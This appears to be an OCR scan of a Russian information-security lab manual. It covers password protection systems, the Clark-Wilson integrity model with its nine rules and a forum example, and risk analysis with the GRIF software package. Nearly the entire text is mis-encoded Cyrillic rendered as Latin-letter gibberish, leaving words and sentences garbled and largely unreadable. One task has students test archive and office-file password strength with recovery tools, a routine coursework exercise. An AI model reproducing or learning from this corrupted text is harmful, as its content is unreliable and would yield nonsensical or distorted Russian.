OuLEeHUTh CTOMKOCTH MapoJIel, CTeHEPUPOBAHHBIX JAHHON
MIPOrPAMMOM.

5. 3ajaHue Ha CaMOCTOSITENbHYIO PadOTy
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1. IToArOTOBUTH JOKIJIAABI HA TEMY:
1) maponsHas cuctema 3amutbl OC Windows;
2) naposbHas cuctema 3amutbl OC cemeiictBa Unix;
3) mapoibHBIE CUCTEMBI 3alllUTHI pa3iaudHbIX ciayxk0 Mutepnera (Web-cepsepa,
anekTpoHHas mouta, FTP u 1.1.)
4) mapoJyibHbIE CUCTEMBI 3aIUTHI APXUBATOPOB.
B noknanax nmpemnaraercst OTpa3uTh CIEAYIOLINE BOIPOCHI:
1) Opranusanus (CTpyKTypa) MapoJbHOW CUCTEMBI.
2) Mecrto, cnocob XpaHEHUs TMapojied W INTaTHbIE CPEACTBA 3aIlUThl Oa3bl
YYETHBIX 3aIIUCEH.
3) CpenctBa, npenocTaBiIsieMble aIMUHHCTPATOPaM JUJIsl YIPABIEHUS MapOJbHON
CUCTEMOM.
4) MW 3BecTHbIE YSI3BUMOCTH TMAPOJIbHOM CHUCTEMBI W METOABl MPEOJOJICHUS
MapOJIBHOM CUCTEMBI 3JI0YMBIIIJIEHHUKOM.
2. UccnenoBaTh maposibHbIE CUCTEMBI 3aIIUTHI ApXUBATOPOB U O(UCHBIX MPOTpaMM
(Word, Excel, PowerPoint u T.1.). Onpenenuts CTOMKOCTh MApOJIbHBIX CHCTEM
3alllMTHl ApPXUBATOPOB M O(MHUCHBIX MPOrpaMM C TOMOUIBIO TMPHUIIOKEHUN IS
B3noma mnaposiss (Advanced Office Password Recovery, Archive Password
Recovery u nojjo0HbIX).
3. (HdomomnurensHoe) Hammcarh mnporpammy, KOTOpas JOJDKHA SMYJIHPOBATH
paboTy MapoIbHON CUCTEMBI 3AIIUTHI.
[Iporpamma nomkHa peanu3oBbiBaTh 5 u3 10 TpeOoBaHMM, MPEABABISIEMBIX K
MapoJIbHBIM CUCTEMAaM 3allUTHI.
KoHTpoJsbHBIE BONIPOCHI

1. Tlepeuncnute OCHOBHBIEC JOCTOMHCTBA MoJienu bemna-Jlallamynbr.

2. Kakas mozmenb 6e30macHOCTH UCTob3yeTcs: B coBpeMeHHBIX CYB/]

3. Hoxaxwute Teopemy bemna-Jlallamgymsr;

4. B uyém omMuMe  MEXaHW3MOB  HCIIOJIb30BAHUS  MaTPHIIBI

pa3rpaHUyYEHHs JOCTYIAa B IUCKPELIMOHHOW U MaHAATHON MOJIEIAX
5. Onuirrte OCHOBHBIC TTOHATHUS MO XappucoHa-Py330-Ynbemana
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JlabopaTopnasi padora 2
eaocTHocTh nanHbIX. Moaeas Kitapka-Buiicona

Heab padoTsl

L[GJIBIO pa6OTBI ABIICTCA  3aKPCINICHUC IIOJIYUYCHHOI'O TCOPCTUYCCKOI'O
Marcpuajia 1o MoOACLIM HCJIIOCTHOCTH H IMPUMCHCHHC Ha ITPAKTHUKC MOJI0KEHU I
MOACIIN LHCIIOCTHOCTH KHapKa-BI/IJICOHa K BBIYUCIIUTCIbHBIM CUCTCMAaM.

OcHOBHBIE T0JIOKEHUS MOIeJIU LEeJOCTHOCTH K.]IapKa-BI/IJICOHa

Mopens Knapka-Buicona mosiBuiiack B pe3yJibTaTe MPOBEIAECHHOTO
aBTOpaMH aHaM3a PEeaibHO MPUMEHSEMbIX METOJ0B OO0ECHEYeHHsS IEIOCTHOCTH
JIOKyMEHTO000pOTa B KOMMEpPUYECKUX KoMNaHusx. B oTinuue ot moneneit buba u
benna-Jlallamynbl, oHa W3HAYAJIBHO OPUEHTHPOBAHA HA HYKJIbl KOMMEPUYECKHX
3aKa34MKOB, M, MO MHEHHUIO aBTOPOB, Oojiee aJeKBaTHA UX TPEOOBaHUSM, YEM
MPEJIOKEHHAs] paHee KOMMepUecKass MHTEpIpeTanus MOJETU IEIOCTHOCTH Ha
ocHOBe pemieTok. OCHOBHBIE TOHSTHS PAacCMAaTPUBAEMOW MOJEIH — 3TO
KOPPEKTHOCTh TPAH3AKIIUN U pa3rpaHnyucHue (YHKIIMOHATBHBIX 00S3aHHOCTEH.

Mopenp 3agaeT npaBuwia (YHKIHMOHUPOBAHUS KOMIBIOTEPHOU CUCTEMBI H
OTIpeIeIsIeT B KaTeropu OOBEKTOB JaHHBIX M JBa Kjacca orepariii HaJl HUMHU.
Bce comepxamuecs B cucTeMe JaHHBIE MOAPA3JCISIOTCS Ha KOHTPOJIUPYEMbIE U
HEKOHTPOJIUPYEMbIC 3JIeMeHTBhI JaHHBIX (constrained data items - CDI u
unconstrained data items — UDI coorBercTBeHHO). I[e10CTHOCTH MEPBBIX
oOecrnieunBaetcs mojienbio Kiapka-Buncona. [locnennue copepxat nndopmariuio,
[[EJIOCTHOCTh KOTOPOM B paMKax JIaHHOW MOJIEIN HE KOHTpoJupyercs (3TUM U
00BsICHAETCS BbIOOp TepMmuHOJOTHH). J[lamee, Momenb BBOIUT JBa Kjacca
omepanuidi HaJa DJIEMEHTaMM JIAHHBIX: TMPOILEAYpPhl KOHTPOJIS IEJIOCTHOCTH
(integrity verification procedures - IVP) wu mnpoueaypsl mpeoOpa3oBaHuUs
(transformation procedures - TP).

[TepBbie M3 HUX 00ECIEUNBAIOT MPOBEPKY IEIOCTHOCTH KOHTPOJIUPYEMBIX
anemeHTOB AaHHbIX (CDI), BTOpble M3MeEHsIOT cocTtaB MHOXkecTBa Bcex CDI
(Hanmpumep, ipeoopasys anementbl UDI B CDI). Tak jxe Mojeb COEPIKUT JICBATH
TIpaBUJI, OMPEACAIONINX B3aHMMOOTHOIIECHUS JJIEMEHTOB JAaHHBIX W TIPOLETYp B
nporiecce (PyHKITMOHUPOBAHUS CHCTEMBI.

[IpaBmno Cl. MHuoxkecTBO Bcex mporeayp kKoHtposs 1enoctHoctu (IVP)
JIOJDKHO ~COJIEpKaTh MPOUEAYpPhl KOHTPOJS IEJIOCTHOCTH JIFOOOTO dJIeMEHTa
aHHBIX U3 MHOecTBa Bcex CDI.

[MpaBuno C2. Bce mponenypsl npeoOpasoBanusi (TP) mo/mKHBI OBITH
peann30BaHbl KOPPEKTHO B TOM CMBICIIE, YTO HE JOJDKHBI HAPYIIATh 1IETOCTHOCTD
obOpabarsiBaembix umMu CDI. Kpome Toro, ¢ kaxxmo# mpoienypoi mpeodpa3oBaHus
JOJDKEH OBITh CBsI3aH cHcoK AneMeHToB CDI, koTopeie momyctumo oOpabaThiBaTh
JaHHOM nmpouenypor. Takasd CBSI3b yCTAHABIMBACTCS  AJMUHHCTPATOPOM
0€30MacHOCTH.
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[IpaBuno El. Cucrema [0/KHa  KOHTPOJHMPOBATH  JIOMYCTUMOCTb
npuMeHeHus: TP k snementam CDI B COOTBETCTBUM CO CIIMCKAMH, YKAa3aHHBIMU B
npasuie C2.

[IpaBuno E2. Cucrema nobKHa NOANEPKUBATH CIMCOK pPAa3pEUICHHBIX
KOHKPETHBIM  TOJIb30BATEIsIM ~ MPOLELYyp MpeoOpa3oBaHUsi €  yKa3aHUEM
nomyctuMoro aist kaxaou TP u manHoro nosbs3oBatelis Habopa 00pabaThIBaeMBbIX
anemenToB CDI.

[IpaBuno C3. Cnmcok, ompeneneHHb mpaBuioM C2, HOMKEH OTBEYATh
TpeOOBAHMIO pa3rpaHUUYeHUs (PYHKITMOHATBLHBIX 0053aHHOCTEH.

[TpaBuno E3. Cucrema momxHa ayTeHTU(UIHMPOBATH BCEX MOJIb30BATENCH,
IBITAIONIUXCSI BHITTOTHUTH KaKyI0-TH00 MpoLeypy MpeoOpa3oBaHusl.

[IpaBuno C4. Kaxnas TP ngomkHa 3anuchiBaTh B KypHAJI pPErucTpanuu
uHPOPMAIIMIO, JTOCTATOYHYIO AJII BOCCTAHOBJICHMS TOJHOM KapTHUHBI KaXKIOTO
npuMeHenus 3to TP. XKypnan peructpanun — 310 cnenuanbHbiii anement CDI,
MpeIHa3HAYCHHBIN TOJIBKO JIJIsl J0OABIEHUS B HEr0 HH(OpMAIIUH.

[IpaBuno CS5. Jlio6as TP, xotopas oOpabarbiBaer snement UDI, momknHa
BBITNOJIHATh TOJIBKO KOPPEKTHBIE MPeoOpa3oBaHUs 3TOTO AJIEMEHTa, B pe3yibTare
koTopbix UDI npespamiaercs B CDI.

IIpaBuno E4. Tonpko crienuasbHO YIOJHOMOYEHHOE JIMI0 MOKET U3MEHSTh
CHHUCKH, ompeaeneHHble B mnpaBunax C2 u E2. DT1o numo He umeer mnpasa
BBIIIOJIHATh ~ KaKUe-TIMOO JEWCTBUS, €CIM OHO YIOJHOMOYEHO HW3MEHSATh
pErJIaMEHTUPYIOIINE 3TU JEHCTBUS CIIHCKHU.

[lyonukamuss onucanuss wmoaenu Krapka-Buncona BbI3Bana IIHUPOKUI
OTKJIMK CpeIMd HCCJIEeAOoBaTeNiel, 3aHUMAIOMIMXCS MpoOJIEeMOM  KOHTPOJIS
LIETIOCTHOCTHU. B psiie Hay4HBIX CTaT€ pacCMATPUBAIOTCS MPAKTUYECKUE ACTIEKTHI
NPUMEHEHUS MOJENM, NPENJIOKEHbl HEKOTOpPhIE €€ PACHIMPEHHs] M CIOCOObI
MHTETpalyy ¢ APYTUMU MOJIETSIMU 0€30M1aCHOCTH.

Ponp xaxmoro u3 aesatu npasuwi Moaenu Knapka-Buicona B oGecrieueHuun
LEJIOCTHOCTU MH(POPMAIMU MOYKHO IMOSICHUTb, MOKa3aB, KAKUM U3 TEOPETUUYECKHUX
IPUHIUIIOB MOJUTUKHA KOHTPOJIS LIEIOCTHOCTH OTBEYAET JTaHHOE IIPABUIIO:

1. KOpPEKTHOCTH TPaH3aKLU;

. ayTeHTU(UKALKA [0JIb30BaTENIeH;

. MUHUMU3aIus IPUBUIIECTUI;

. pasrpannyeHre PyHKIUOHAIBHBIX 00SI3aHHOCTEH;
. QyJIUT MPOU3OIIEIITNX COOBITUI;

. OOBEKTUBHBIN KOHTPOJIb.

CoorBercTBue mpaBun  moaenn — Kimapka-Buicona  mepeuyucieHHBIM
OpUHIMIAM TMoKa3zaHo B Tabmuie. Kak BuUAHO U3 TaOnMIbl, NPUHUMIBL |
(KOppeKTHOCTh  TpaH3akuui) W 4  (pasrpaHuueHue  (PyHKIHUOHATBHBIX
00sI3aHHOCTEH) pealn3yloTcs OOJIBIIMHCTBOM TPaBUJ, YTO COOTBETCTBYET
OCHOBHOM UJEE MOJEIIH.

AN DN AL

[IpaBuno monemn Knapka- | [IpyHUMOBI  MOJMTUKU  KOHTPOJIS  LEJIOCTHOCTH,
Buncona pean3yeMbl€ PABUIIOM

Cl 1,6

C2 1

14




E1l 3,4
E2 1,2,3,4
C3 4
E3 2
C4 5
C5 1
E4 4

llpumep npumenenus mooenu
B xauectBe npumepa paccmorpuM cucreMmy hopymoBFORUM.TOMSK.RU

e CDI — xoHTpoIMpyeMbIe 3JIEMEHTHI TaHHBIX: JIOTHUH U MapOJib.

e UDI — HekoHTpoJMpyeMbI€ 3JEMEHTHI JTaHHBIX: BBOJMMBIE JaHHBIE Yepe3
uHTep(deiic moap30BaTes.

e IVP — mpouneaypsl KOHTPOJII UEIOCTHOCTH HPOBEPSIOT COOTBETCTBUE
BBEJCHHBIX MOJIb30BATEIIEM JIOTMHA W Mapojsl C 3apEruCTPUPOBAHHBIM
JIOTUHOM W TMapoyieM (KOTOpbI€ XpaHATCS B 0a3e MaHHBIX CHUCTEMBI).
[Iponienypbl MNPOBEPKH KOPPEKTHOCTH JAHHBIX BBOJA M XPaHUMOMN
uHdopMaIuu.

e TP — npoueaypsl npeoOpa3zoBaHus: NPOLEAYPhl MPEOOPA30BAHUS U3MEHSIOT
COCTaB MHOXKECTBA BCEX KOHTPOJHMPYEMBIX 3JIEMEHTOB JIaHHBIX IIyTEM
pelakTUpOBaHUsA, CO3JaHWs, BBOJA, yAaJeHUs W T.M. B wyactHOoCTH —
peaaKkTUPOBaHUE ITUCEM U X paclpeiesICHUE O MarKaMm.

C1: Bce mporienypsl mpeoOpa3oBaHus TaHHBIX COOTBETCTBYIOT OIPEACICHHOMY
MOJIb30BATENI0, YTO B CBOIO ouepedb OOecreunBacT KOH(PHUIACHIIMAIBHOCTD
XPaHUMOU TOJIb30BaTEIEM HH(POPMAIIUH.

C2: Bce mporeaypbl mpeoOpa3oBaHus peaM30BaHbl TAKUM 00pa30oM, 4TOOBI HE
U3MEHATh CcUCTeMHble (aitnel u manku. g mporenypsl mpeoOpa3zoBaHuUs
«yJaJEHNE» YCTAaHOBJIEH CIHCOK TEX JAaHHBIX, Ha KOTOpBIE 3Ta Mpoleaypa He
CMOXET BO3JCHCTBOBATh U CMOXET BIIMATH TOJILKO B paMKax TeX IpaB, KOTOPbHIC
ObUTM YCTAaHOBJIEHBI IJIs TOJh30BATENsl C KOHKPETHBIMU JIOTUHOM M MapojieM
(moJsib30BaTeNb HE MOXKET YAAUIUTH UH(POPMALIMIO O IPYTOM CeaHce).

El: momkxna oOecrieuuBaTbcsi Ha YPOBHE MPOTPaAaMMHOIO CPEACTBA, AOJHKEH
OBITh YCTAaHOBJIEH KOHTPOJb JOCTyHa B COOTBETCTBUM CO CIHUCKAaMH, KOTOPHIC
OB yCTaHOBJICHBI B mpaBuiie C2, 0 MPUMEHEHHUH MPOIEAYp NpeoOpa3oBaHuUs K
coorBeTcTBYOIMM CDI.

E2: coorBercTBHE JIOTMHA M TApPOds C JOCTYIIOM K OIpEIeSICHHOMN
uH(OpMAIUU, OTOXKIIECTBICEHHWE TOJIb30BAaTENIe C MpeAHA3HAYCHHBIM ISl HHUX
cuckoM mpaB. YeTkoe pasrpaHndeHue (QyHKIIMOHAIBHBIX BO3MOXHOCTEH U
00s13aHHOCTEM JIJIS1 K&YKJOTO TOJB30BATEIISI CHCTEMBI.

C3: agMUHHCTPATOP UMEET MPABO MU3MEHSATH JIOTUH U MapoJib, a TAKXKE IpaBa
JO0CTyTa K MH(POpMaIliU, HO HE MOXKET MEHSTh JaHHBIC B 0a3e.

E3: mpu momnbITKe MOJb30BaTENsl COBEPIIUTh KaKyHO-THOO OMepaIuio, Kax bl
pa3  TPOM3BOJIUTHCS  ayTeHTU(UKAMs  Mmojib3oBarenss  (Oosiee  TOrO,
ayTeHTU(UKALIMS T0JIb30BATENS MPOUCXOAUT Kaxpie 10 MuH).
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C4: Kaxxnas onepaiiusi, copepraeMas rnojab30BaTeseM, 3alUChIBACTCS B )KypHAI
HWCTOPHHU.

C5: Cnauana mpoW3BOAMTHCS TMOUCK JIOTMHA , JlaJie€ COOTBETCTBYIOIIETO
napoJisi B 6ase, a 3aTeM ONpeeNstoTCs MpaBa I0CTyna K HGOpMAIIUH.

E4: nomkxHO OBITH ONpEAENIeHO YMOJTHOMOYEHHOE JIUIO — aJAMUHUCTPATOP
cucteMbl. OH onpeiessieT IpaBa U KOHTPOJIUPYET pabOTy CUCTEMBI.

3ananue K padore
Heobxoaumo 1t 3agaHHOM HHPOPMAITMOHHON CHCTEMBI OIIPEICTUTh:

[} CDI — koHTpOJIUpYEMBIE DJIIEMEHTHI JaHHBIX.

[1 UDI — HEKOHTpOIHPYEMBIE 3JIEMEHTHI IaHHBIX.
1 IVP — npouenypbl KOHTPOJIS LIEJIOCTHOCTH.

1 TP — npouenypsl npeodpa3oBaHUsl.

Boiienuts 00BEKT(bI), B KOTOPBIX XPAHATCS CIHCKU, OMNPEICIICHHbIC B
npaBuwiax C2 u E2, a Takxke XpaHUTCS XKypHall perucTpaiuy coObITUH. YKa3aTh
KTO MOKET U3MEHATh CIIMCKH, olpenesieHHble ¢ npasuiax C2 u E2.

Coznath mpaBuiia, KOTOPbIE COOTBETCTBOBAIM JIM OBl JEBATU IpaBUIIAM,
ONPEAEISIIONMM B3aMMOOTHOLIEHUS 3JIEMEHTOB JIaHHBIX U MPOLIEAYpP B MPOLECCE
(GyHKIIMOHUpPOBaHUA cHUCTeMbI. [IpoBecTM MNpPOBEpPKY LEIOCTHOCTH CHUCTEMBI C
UCITOJIb30BAHUEM TEOPETUYECKUX IPUHIUIIOB MOJUTUKHA KOHTPOJIS LIEIOCTHOCTH.

BapuaHTbI 00bEKTOB HCCJICAOBAHUA:
. WWW-cepBep;
. ftp-ceprep;
. [ToutroBas 6a3a naHHBIX;
. baza nmannpix Microsoft Access;
. OnepannoHHas cucTeMa;
. KecTkuii quck;
. CoroBblii TenedoH.
KonTpoabHbIe BONpPoOChI
1. KakoBo HazHaueHue monenu Kiapka — Buiicona;
2. Kakue nmoamMHoOXeCcTBa 00BEKTOB BhIIEIAIOTCSA B Mojienu Kinapka-Busicona;
3. Kakue tumbr ¢yHkumii ompenenensl B moxaenu Knapka-Buncona. Kakue
TpeOOBaHMs ¥ OTpaHUYEHUE BBOIUT Moienb Kiapka-Buicona Ha ¢hyHKunu;
4. Ilepeuncnute npaBuia moaenu Knapka-Bumicona.
5. KakoBa ponp AnmunuctpaTopa B mojaenu Kinapka-Bucona.

N O\ kR WDN -

16



JlaboparopHasi padora 3. MccienoBanue cHCTeMbl AaHAJIN3A PUCKOB M IIPOBEPKH

MOJIMTUKHA UHPOPMAITMOHHOM 0€30MACHOCTH NPeANPUSITHS

OcHoBHBbIC OnIpeaeIeHUs

bezonacnocmo (3awuwennocms) ungopmayuu 6 komnvromeproix cucmemax (KC) - sto
Takoe coctosiHue Bcex komnoHeHT KC, nmpu koTopom obecrnieunBaercs 3amura HHhopMauu
OT BO3MOXHBIX Yrpo3 Ha TpeOyemoM ypoBHE. KommbloTepHBIE CHUCTEMBI, B KOTOPBIX
obecrieunBaeTcst 0€30MacHOCTh HH(GOPMAIIIH, HA3bIBAIOTCSA
3alIUIIECHHBIMU [ 1].

Nudopmanmonnass ~ 6e30MaCHOCTh  JIOCTUTAETCS  MPOBEIECHUEM  PYKOBOJCTBOM
COOTBETCTBYIOIIETO YPOBHS HOAUMUKU UHDopmayuonnou 6ezonachocmu. (OCHOBHBIM
JIOKyMEHTOM, Ha OCHOBE KOTOPOI'O MPOBOAMUTCS MOJUTUKA HHPOPMALIMOHHON 0€30MacHOCTH,
SBIIICTCS NPOCPAMMA UHPOPMAYUOHHOU De30nacHocmuy. ITOT TOKYMEHT pa3padaTbiBaeTCs U
NPUHUMAETCS KaK OQUIUAIBHBIA PYKOBOASIIUMNA JOKYMEHT BBICIIUMH OpraHaMu
yIOpaBJICHUs] OpraHu3aiueil. B qjokymMeHTe MpUBOASTCS LMW MOJUTHKU WH(QOPMaIMOHHOM
0€30MacHOCTH M OCHOBHbBIEC HaIpaBJeHUs peleHus 3anay 3aumThl nHpopmanuu B KC. B
nporpaMmax HHQPOPMAIMOHHON OE€30MaCHOCTU COAEpPKATCS TakKe oO0Iue TpeOOBaHUS U
MPUHITUIIBI TIOCTPOCHUS cucTeM 3ammThl nHbopmaruu B KC.

ITon cucmemoii 3awyumor ungpopmayuu ¢ KC nmoHuMaeTcsi €AUHBIN KOMIUIEKC MPaBOBBIX
HOPM, OpraHU3allMOHHBIX MEpP, TEXHUYECKUX, MPOTrPaMMHBIX M KpUNTOrpauuecKkux
CpencTB, 0OeCIeUNBAIONINI 3amUIeHHOCTh HHpopMaru B KC B COOTBETCTBUY C IPUHSATOM
MOJINTUKOW 0€30MaCHOCTH.

Veposa 6e3onacnocmu - NMOTEHUUANIbHO BO3MOXKHOE IPOUCIIECTBHE, KOTOPOE MOMKET
OKa3aThb BO3eicTBUE HA MH(POPMALINIO B CUCTEME.

Vazeumocms - Hekast HeyJJadyHasi XapaKTepUCTUKA CUCTEMbI, KOTOpasi J€1aeT BO3MOKHBIM
BO3HUKHOBEHUE yTPO3BI.

Amaka - neicTBue Mo Ucnoiab30BaHuio ysa3BuMoctu KC; aTaka - 3To peanu3anus yrpossl.

Veposa kongudenyuanbnocmu - yrpo3a pacKpbITHsI HHPOpPMAIIIH.

Veposa yenocmuocmu - yrpo3a u3MeHeHUs] HHPOPMAIIHUH.
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Veposa oocmynnocmu - yrpo3a HapyieHus: pabOTOCIOCOOHOCTH CUCTEMBI MPH JOCTYIE
K HHGOpMAITUH.

Vigep6 - ctoumMocTh OTEpPh, KOTOPBIE MOHECET KOMIIAHUS B CIydae peajlM3alHu yrpo3
KOH(QUACHIIMATBFHOCTH, EIOCTHOCTH, JOCTYMHOCTH 1O KaXJAOMYy BHAY LEHHOU
uHdopmaruu. Yoiep0 3aBUCUT TOJBKO OT CTOMMOCTH MHGOpMaIMM, KOoTopas
oOpa0aTeiBaeTCsI B aBTOMATU3HPOBAHHOW cucTeMe. YiiepO SBIAETCS XapaKTePUCTHUKOM
UH(OPMAIMOHHOW CUCTEMBI U HE 3aBUCUT OT €€ 3alIUIIEHHOCTH.

Puck - BeposTHbIM yIiepd, KOTOPBIM 3aBUCUT OT 3allUIIEHHOCTH cucTeMbl. Ilo
ONPENEIICHUIO PUCK BCErAa U3MEPSIETCS B ICHBIAX.

B cymHocTH, 111 KOMMEpYECKOW OpraHu3aluu 3afada 0e30MacHOro (yHKIHMOHUPOBAHUS
UH(OPMAIIMOHHOW CUCTEMBI CBOJUTCS K BBIPAOOTKE MPABWII U BHIOOPY 3aIMTHBIX CPEICTB.
KoMOuHanusg AByX S3THUX COCTABJISIIOIIMX MO3BOJHUT OOECIEYUTh HEOOXOAUMBIN YpPOBEHb
0€30M1acCHOCTH, KakK JJIsl LIEHHBIX PECypCcOB OpraHU3aluy, Tak U i Bcell HH()OPMAIIMOHHOM
cucTteMbl 00pabOTKH 3TUX pecypcoB. JpyruMu cioBaMu 3ajiaya 3alluThl — 3TO pa3padoTKa

3¢ (HEKTUBHOMN TOJUTUKH 0€30MaCHOCTH (WK TTpaBUiI O€30MMaCHOCTH).

UtoObl MEphI MOIUTUKHU 0€30MAaCHOCTH MO 3alUTEe OTBEUAJIM PEabHOMY COCTOSIHUIO JIEJT
HEOOXOJMMO 3HaTh - YTO, OT KOIO U B KaKOW CTEMEeHM HYXHO 3amuinatb. Ha ceromns
CYIIECTBYET TOJBKO OJIMH IIPOIIECC, CIOCOOHBIM B KakoW TO Mepe JaTh OTBEThl Ha

IMOCTABJICHHBIC BOIIPOCHI, P€Yb UACT 00 aHaam3e PHUCKOB.

1. O630p mporpaMMHBIX NPOAYKTOB B 00JIaCTH AaHAJM3a PHUCKOB M TPOBEPKH
OPraHM3allMOHHBIX Mep o0ecneYyeHus1 HH(POPMAILMOHHOM 0€3011aCHOCTH

B mHactosmee BpeMs umeercs OOJbIIOE pa3HOOOpa3sHMe Kak METOAOB aHalu3za |
yIpaBJeHUs] pUCKaMH, TaK U PEaTu3yIOIINX UX MPOTpaMMHBIX cpeacTB. [IpuBenem npumepsl
HEKOTOPBIX OT€UECTBEHHBIX MPOIYKTOB.

1.1. IIporpaMMHBIil KOMILJIEKC AHAJN3a U KOHTPOJA PHUCKOB HH(OPMAIMOHHBIX
cucrtem komnanuu — 'PUD

Jlnst  mpoBeneHWs TOJMHOTO aHalu3a WH(GOPMAIIMOHHBIX PHUCKOB TMPEXKIE BCETO
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HEOOXOJMMO MOCTPOUTDH MOJHYIO MOJENb WH(DPOPMALIMOHHON cucTeMbl ¢ ToUukHu 3penust Ub.
Jnsa pewenus 3tout 3agaun [PU®, B omuinune OT NpencTaBIICHHBIX HA PBIHKE 3allaJHbIX
CHCTEM AaHAJIN3a PUCKOB, KOTOPBIE TPOMO3JKH, CIO0XKHBI B HCIIOJIB30BAHMM M YacTO HE
MPEIONAaraloT  CaMOCTOSITENIBHOTO npuMeHeHus W T-MeHemxkepaMu ©  CUCTEMHBIMH
aJIMUHUCTpPAaTOpaMH, OTBETCTBEHHBIMU 3a oOecreueHrue 0e30macHOCTH WH(OpMaIMmOHHBIX
CHUCTEM KOMIIaHWW, O0JaJaeT TMPOCTHIM M HMHTYUTHUBHO TIOHSITHBIM JUISI TIOJH30BATENSA
uHtepdeiicom. OaHako 3a BHEIIHEH NPOCTOTON CKPBIBACTCS CIIOKHEUIIUHM aJIrOpUTM
aHaiM3a PUCKOB, YYUTHIBAIOIIUN OoJiee CTa MapaMeTpoB, KOTOPBIM MO3BOJIIET Ha BBIXOJIE
JaTh MaKCUMAJIbHO TOYHYIO OILICHKY CYIIECTBYIOUIUX B MH(POPMAIIMOHHOW CUCTEME PUCKOB,
OCHOBaHHYI0 Ha TJIyOOKOM aHajiu3e OCOOEHHOCTEH TMPaKTHUYECKOW pean3aluu
uH(popmarimonHout cucrembl. OcHoBHas 3ajaya cucteMbl [ PUD — nath Bo3mMoxkHOCTH UT-
MEHEIPKEPY CaMOCTOSITEIbHO (0€3 MPUBJICUCHUS] CTOPOHHUX DKCIEPTOB) OIICHUTH YPOBEHB
PUCKOB B MHGOPMAIIMOHHON CUCTEME, OLIEHUTHh dPHEKTUBHOCTh CYIIECTBYIOIIEH MPAKTUKH
no oOecneyeHut0 O€30MacHOCTH KOMIIAHMM W HMETh BO3MOXKHOCTH JOKa3aTelbHO (B
nuppax) yoenutb TONM-MEHEIKMEHT KOMIAHUM B HEOOXOJUMOCTH HMHBECTUIUN B cdepy
MH(OPMAIMOHHOW 0€30MaCHOCTH KOMIaHuu [2].

1.1. Ha mepBom srtane cucrema ['PUD mnposoaut ompoc UT-meHemxepa C IeibIO
oTpeielIeHUs] TIOJIHOTO CMHCKa MH()OPMAIMOHHBIX PECYPCOB, MPEICTABISIONMIUX IIEHHOCTh
JUJIS1 KOMITAHUH.

1.2. Ha BtropoMm stamne npoBoautcs onpoc MT-meHemkepa ¢ 1enpio BBOJAa B CUCTEMY
['PUD Bcex BUIOB MH(pOpMAIUU, MIPEACTABIAIONICH IIEHHOCTh JIi KOMIaHUU. BBeneHHbIe
TPYNNbl [IEHHOW HWHQpOpMAIMU JIODKHBI OBITh pPa3MEIICHBI TMOJIb30BaTElieM Ha paHee
yKa3aHHBIX Ha MPEIbIAYIIEM dTare 00beKTax XpaHeHus uHbopmaimu (cepBepax, padbouux
CTAaHUMSAX W TaK jganee). 3akiouuTenbHas (a3za — ykazaHue yuiepOa Mo KaxaoW rpyrie

LHEHHON WH(pOpMaIK, PACTIOIOKEHHON Ha COOTBETCTBYIOUIMX pecypcax, MO0 BCEM BHUIaM

yrpo3.
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Puc.1. Unatepdeiic nporpammuoro komiuiekca ['pud. Briagka «udopmarusy.

1.3. Ha TperbeM 3Tame BHayase MPOXOIUT ONMPEICICHUE BCEX BUAOB MOJIB30BATEIBCKUX
rpynn (M 4KCiIo Moib3oBaTeNiel B KaX 101 rpymme). 3aTeM OIlpenesseTcs, K KaKuM rpynmnam
uH(pOpMaIMU Ha pecypcax UMEeT JOCTYI Kaxaas W3 Iy Mosib3oBaTeneil. B 3akmouenue
ONpEeNEsAOTCS BUAbI (JIOKAJTIbHBINA W/WIKM yAAJICHHBIA) U MpaBa (YTEHUE, 3alKCh, YIAJICHUE)
JI0CTYTIA MOJIb30BaTENE KO BCEM pecypcam, COAEPKAIUM IIEHHYI0 HH(OpMALIHUIO.

1.4. Ha getBepToM 3Tane npoBoautcs orpoc MT-meHemxkepa aJist onpeeieHus CpeacTB
3aluThl MHQOPMAIMK, KOTOPBIMU 3alllMIIeHa IIeHHas MHQpopMmaius Ha pecypcax. Kpome
TOT0, B CHCTEMY BBOJUTCS HH(OpMalMs O Pa30BbIX 3aTparax Ha NPUOOpPETEeHHE BCEX
OPUMEHSIOIIMXCS  CPEACTB  3alUThl HMH(POPMALlMM M €XKEroJHbIe 3aTpaThl Ha HX
TEXHUYECKYI0 NOAJNEPKKY, a TAKKE €KErOAHbIE 3aTpaTbl HA COIPOBOXKICHUE CUCTEMBI

MH(OPMAIMOHHON 0€301TaCHOCTH KOMIIaHUH.
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Puc. 2. Uarepdeiic mporpammuoro komiuiekca I'pud. Brmanka «CpeacTBa 3amuThy.

1.5. Ha 3aBepiaroniemM 3Tarne moJib30BaTelb JI0KEH OTBETUTh HA CIIMCOK BOMPOCOB IO
MOJIMTUKE OE30MaCHOCTU, PEATU30BAHHOW B CHUCTEME, UTO IMO3BOJISIET OLECHUTH PeabHbIN
YPOBEHb 3AIIUIIIEHHOCTH CUCTEMBI U JETAIM3UPOBATH OIIEHKH PHUCKOB.

Hanuuue cpenctB nHPpOpMaIMOHHON 3alllMThl, OTMEUCHHBIX Ha MEPBOM 3Tare, caMo I0
cebe elne He JenaeT CUCTeMY 3alllMIEHHON B Clydyae WX HEeaJeKBAaTHOTO WCIIOJIb30BAHUS U
OTCYTCTBUS KOMIUICKCHOM TOJUTHUKH O€30MacHOCTH, YYHUTHIBAIOIIEH BCE aCIEKThI 3allUThI
uHpopMalu, BKIIOYAs BOMPOCHl OpPraHM3allUM 3allUThl, (QU3MUecKOol O€30MacHOCTH,
0€30macHOCTH MepCOHala, HEMPEPHIBHOCTH BEACHUS OM3HECa U TaK Jajee.

B pesynerare BBINOJHEHWS BCEX [JEUCTBUM IO JAaHHBIM JTalaM Ha BBIXOJE
chopmupoBaHa TONHAS ~MOJENTb HMHPOPMAIMOHHOM CHUCTEMBI C TOYKH 3pEHUS
UH(OOPMAITMOHHONW 0€30MacHOCTH C YYETOM PEaJTbHOTO BBIMOJTHEHUS TPeOOBaHMIA
KOMIUIEKCHOM MOJIUTUKU O0€30MaCHOCTH, UYTO MO3BOJISICT MEPEHUTH K MPOrPaMMHOMY aHAIU3Y
BBEJICHHBIX JaHHBIX [JIS TIOJYYEHUS! KOMIUIEKCHOW OIICHKHM PHUCKOB U (PopMUpOBaHUS

HUTOroBOI'O OTUYECTA.

1.6. Otyer mo cucreMe MpeACTaBIseT COOOW MOAPOOHBIN, MAOIMUN MOJHYI KapTUHY
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BO3MOXHOI'O ymep6a OT MHIIUJICHTOB JOKYMCHT, TOTOBBIN AJi IPpEACTABIICHUA PYKOBOACTBY

KOMIIaHHH.

p(e|@|Al]] «| (v | B=] B8]

